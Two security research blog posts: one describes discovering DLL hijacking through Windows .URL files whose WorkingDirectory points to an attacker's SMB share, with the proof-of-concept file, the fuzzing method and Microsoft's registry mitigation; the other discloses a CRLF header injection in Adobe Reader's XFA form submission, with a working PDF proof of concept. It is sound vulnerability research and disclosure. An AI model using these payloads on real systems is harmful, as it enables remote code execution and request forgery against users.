Friday, May 18, 2018

DLL Hijacking via URL files


This blogpost describes how I got annoyed by vulnerabilities in 3rd party Windows applications, which allowed to execute local files but without parameters. So I decided to find a vulnerability in Windows itself to properly exploit them.

The Problem


On multiple occasions I encountered an application with a vulnerability, which would allow to execute a local file. This means an attacker controlled string ended up in a Windows API call like ShellExecute although the system call itself does not really matter. The problem was that I was not able to control any parameters eg. I was able to pass file:///c:/windows/system32/cmd.exe but could not actually execute any malicious payload. And just opening cmd.exe, calc.exe, powershell.exe etc. is kinda boring.
So I started to brainstorm how I can abuse this kind of vulnerability and be able to actually execute my own program code:

Abusing the download folder


The first idea, which could come to mind, is abusing the vulnerable application to trigger a download of a file. As soon as the file is downloaded the vulnerability could be triggered again and the downloaded file gets executed. This approach has two problems:
1) It requires that I am able to trigger a download of a file without user interaction
2) Even if the requirement of step 1 are fulfilled, Windows has another hurdle: The Zone model for downloaded files or to be exact: Zone.Identifiers

Zone Identifiers 

In case a file is downloaded (eg. via the web browsers) Windows adds an Alternative Data Stream called Zone.Identifier to the file. Simplified speaking: An Alternative Data Stream is data (binary, text etc), which is not stored in a file itself but instead attached to another file. The Syntax to read an ADS is the following: <realfileOnDisk>:<ADSName>.
In case of a downloaded file this additional information describes the zone the file was downloaded from. I am not going into all the details of this model and its implications but to keep it short: In case a file is downloaded from a domain like example.com, it gets assigned a Zone ID of 3:















>dir /R downloaded.exe
downloaded.exe:Zone.Identifier:$DATA
>notepad downloaded.exe:Zone.Identifier
[ZoneTransfer]
ZoneId=3


As soon as the ZoneId is > 2 Windows will show the following warning dialog for potential insecure file extensions:

Figure 1: Warning Dialog



This means that I have to find an extension, which not only allows me to execute a malicious payload but additionally is not covered by this protection scheme as I want to avoid the necessity of a user click. As this feature has been around for quite a long time I decided to move on.
I have to mention that I discovered that certain 3rd party extensions like Pythons .py files bypass this protection but this requires that Python is installed and the python executable is present in the environment variable.

SMB/UNC Paths


After I dismissed the idea of downloading files I moved on to SMB/UNC paths. On Windows it is possible to open and execute files from remote SMB shares by using the file:/// protocol handler:

file://attacker.com/SMBShare/fileYouWantoToOpen

My first naive thinking was: As the file is hosted on a remote SMB share, there is no Zone.Identifier ADS present and therefore any file should execute without any problems. All I need to do is create a malicious file and host it on my SMB Share, make it publicly accessible and pass a proper file:// protocol URL to the vulnerable application....
Yeah thats not how it works. Just have a look at the following examples:

file://attacker.com/SMBShare/evil.exe
file://attacker.com/SMBShare/test.bat

This will display the same warning dialog as shown in Figure 1. As I didn't want the need for a user-click I started to get frustrated. As a last resort I started to use lists of malicious file extensions on Windows, which were abused by malware in the past and added some of my own ideas. I then created a file for each extension and uploaded them to my remote SMB share and executed them.

The start of the solution - .URL 


After finishing the enumeration I discovered that .URL files are executed from remote SMB shares without any warning dialog (file://attacker.com/SMBShare/test.URL). I was familiar with the following .URL structure :

Link to a local file:
[InternetShortcut]
URL=C:\windows\system32\cmd.exe

Link to a HTTP resource:
[InternetShortcut]
URL=http://example.com


Once again this does not allow to pass any parameters so it seems like we are right back at the beginning. But thankfully someone already documented all the supported properties of .URL files so I decided to have a look:

The classic URL file format is pretty simple; it has a format similar to an INI file:

Sample URL File:

_______________________________________________________

[InternetShortcut]
URL=http://www.someaddress.com/
WorkingDirectory=C:\WINDOWS\
ShowCommand=7
IconIndex=1
IconFile=C:\WINDOWS\SYSTEM\url.dll
Modified=20F06BA06D07BD014D
HotKey=1601
_______________________________________________________



I think the WorkingDirectory directive is self explanatory but it allows to set the working directory of the application, which is specified by the URL directive. I immediately thought about DLL Hijacking. This kind of vulnerability was especially abused in 2010 and 2011 but is still present to this day. In case an application is vulnerable to DLL Hijacking it is possible to load an attacker controlled DLL from the current working directory instead of its application folder, windows folder etc.
This gave me the following idea:


[InternetShortcut]
URL=file:///c:/<pathToAnApplication>
WorkingDirectory=\\attacker.com\SMBShare


Maybe I can specify a standard Windows Application via the URL directive, set the working directory to my SMB share and force it to load a DLL from my remote share. As I am lazy I created a simple python script with the following logic:

  1. Enumerate all .exe files in C:\Windows and its subfolders as I am only interested in applications, which are present by default. 
  2. Create a .URL for each enumerated applications on a SMB share. Of course the URL directive points to the targeted application and the WorkingDirectory is set to the remote SMB share. 
  3. Get a list of all the currently running processes as a base comparison.
  4. Start ProcessMonitor
  5. Set the filter so it only displays entries, where the path points to the remote share and ends with .DLL. Additionally only display entries, where the result contains NOT FOUND. This should display only entries for cases, when an application is trying to load a DLL from the SMB share.
  6. Execute a .URL file eg file://attacker.com/SMBShare/poc1.URL
  7. Get a list of all the currently running processes
  8. Compare the list with the process list created in step 3. Log the executed .URL file and all the new spawned processes. Kill all the new spawned processes to safe system resources.
  9. Repeat step 6,7 and 8 until all created .URL files were executed
After the script is finished, ProcessMonitor will contain the list of potential executables, which could be vulnerable to DLL Hijacking. The next step is to check the stack trace of each entry and look out for LoadLibrary - this is the most obvious and simple way to start checking for a potential DLL Hijacking (I am aware that my approach is far from perfect - but I just hoped it is good enough to find a solution) 

TestNotes:
I run this script on a laptop with Windows 10 64 Bit. In case you want to try this approach yourself, remove audit.exe from your list as it will restart the PC. 



The results


First of all my results contained a lot of false positives, which is still confusing for me to this day as given my understanding this should not occur.
As I am publishing this blogpost it is easy to guess that I succeeded. My first vulnerable application were sadly related to the touch-pad of my laptop, so I dismissed them. To cut things short - I discovered the following Procmon entry:




I placed my own DLL, which creates a message box in case it gets loaded, on the SMB share and renamed the DLL to mscorsvc.dll. Now I executed the .URL file, which loads mscorsvw.exe, again and observed this:


My DLL was successfully loaded from the remote share (yes in this case I used localhost)! Additionally the message box of my DLL was displayed, ergo my own code was executed!

To be sure I verified this behavior by setting a static DNS entry in the C:\windows\system32\drivers\etc\hosts file and mapped attacker.com to another windows instance on my LAN. Afterwards I tested the PoC by placing the .URL file and the DLL file on the local attacker.com machine, created a fully accessible smb share and executed the payload from my test machine. Of course it worked :)

So all in all this is the Proof-of-Concept I came up with (btw this is not the only vulnerable application I discovered):

[InternetShortcut]
URL=C:\windows\WinSxS\x86_netfx4-mscorsvw_exe_b03f5f7f11d50a3a_4.0.15655.0_none_c11940453f42e667\mscorsvw.exe
WorkingDirectory=\\attacker.com\SMBShare\


mscorsvw.exe will load mscorsvc.dll from the remote smb share! 

To sum up the attack:
  1. A vulnerable application allows to execute a file but without parameters
  2. I abuse this vulnerability to load file://attacker.com/SMBShare/poc.URL
  3. poc.URL contains structure posted above
  4. My malicious mscorsvc.dll will be loaded -> WIN


There are still some problems with my Proof-of-Concept: First it requires that the targeted victim allows outbound SMB connections. Additionally the vulnerable applications I discovered are all located in WinSxS and their path contain version information - this means the windows version,language + application version can influence the path.

Note: Additionally this kind of attack works in case a victim uses explorer.exe to view the remote SMB share and double clicks the .URL file. 


Protection


I reported this issue to Microsoft and they confirmed that they could reproduce it.
Afterwards I got the following response:

----


Can you still reproduce with the following registry setting enabled? We are seeing CWD network share DLL loading stopped by setting this registry key.


[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager]

"CWDIllegalInDllSearch"=dword:ffffffff

----

I verified that setting this registry key (a restart is required) stops the loading of DLLs from a remote SMB share and therefore blocking this attack vector .  Afterwards I got permission to publish this blogpost:

----

Thank you for confirming; the engineering group has advised that since the registry key blocks the attack this doesn't represent something we would address via a security update since users can protect themselves. 



Absolutely; no concerns from our side with you publishing especially if you're including the details on how to protect against it. [...]

----






Wednesday, May 2, 2018

Adobe Reader PDF - Client Side Request Injection

Some time ago I discovered a way to inject new lines in a POST request triggered by the Adobe Software/ActiveX. This allows to add new headers or completely modify the created requests.
For example you can inject headers like: Referer, Content-Length, Host, Origin etc, which is normally not allowed (eg via XHR) as it can be abused to bypass certain security checks implemented by websites.
Additionally it is possible to create a completely new request by abusing HTTP pipelining.
One more important information: This injection is not limited to POST requests as you can use a HTTP redirect to change the HTTP request to a GET request without losing the injected header.

With this vulnerability it is my first time doing full disclosure without reporting the bug itself beforehand (or doing a presentation). I have no specific motivation to do so, maybe it is because the good times of PDF's rendered by Browsers is almost over. Additionally the impact is really limited and even requires that the users browser is using Adobes ActiveX plugin.


SubmitForm


The XFA specification defines an element called <submit>. It allows to send the rendered XFA form to a specified URL via a HTTP POST request. In case the PDF is rendered in a web browser, the location will be changed to the specified URL. To give the user some additional control, it is not only possible to define the xdp content (eg the parts of the form, which should be submitted) but additionally the charset encoding. As soon as I saw that the triggered POST request contains the defined charset, I tried injecting new lines. To my surprise this worked without any problems therefore allowing me to modify the request at my will. 
I recommend to try it yourself ( start IE with the latest Adobe PDF ActiveX, which should be present when you install the Adobe PDF reader ). As soon as the PDF is loaded it will automatically trigger the POST request, no user interaction necessary.

Tested ActiveX version:
17.12.20093.238000

Adobe Acrobat Reader DC version:
18.011.20038

Technical notes


Normally I use the initialize event to trigger the execution of any field as it is the first event to trigger but in this case it does not work. In case the initialize event is used, the POST payload is almost empty (make sense as the XFA DOM is still not properly merged), the charset is set in the header, but neither is the POST payload encoded accordingly nor does the injection work. Therefore the PoC is using the docReady event, as it is fired as soon as the DOM/document is properly merged.

% a PDF file using an XFA
% most whitespace can be removed (truncated to 570 bytes or so...)
% Ange Albertini BSD Licence 2012
% modified by InsertScript 

%PDF-1. % can be truncated to %PDF-\0

1 0 obj <<>>
stream
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config><present><pdf>
    <interactive>1</interactive>
</pdf></present></config>

<template>
    <subform name="_">
        <pageSet/>
        <field id="Hello World!">
            <event activity="docReady" ref="$host" name="event__click">
               <submit 
                     textEncoding="UTF-16&#xD;&#xA;test: test&#xD;&#xA;"
                     xdpContent="pdf datasets xfdf"
                     target="http://example.com/test"/>
            </event>
</field>
    </subform>
</template>
</xdp:xdp>
endstream
endobj

trailer <<
    /Root <<
        /AcroForm <<
            /Fields [<<
                /T (0)
                /Kids [<<
                    /Subtype /Widget
                    /Rect []
                    /T ()
                    /FT /Btn
                >>]
            >>]
            /XFA 1 0 R
        >>
        /Pages <<>>
    >>
>>

Triggered HTTP request:

POST /test HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Content-Type: application/vnd.adobe.xdp+xml; charset=utf-16
test: test
Accept-Language: de-DE
Host: example.com
[...]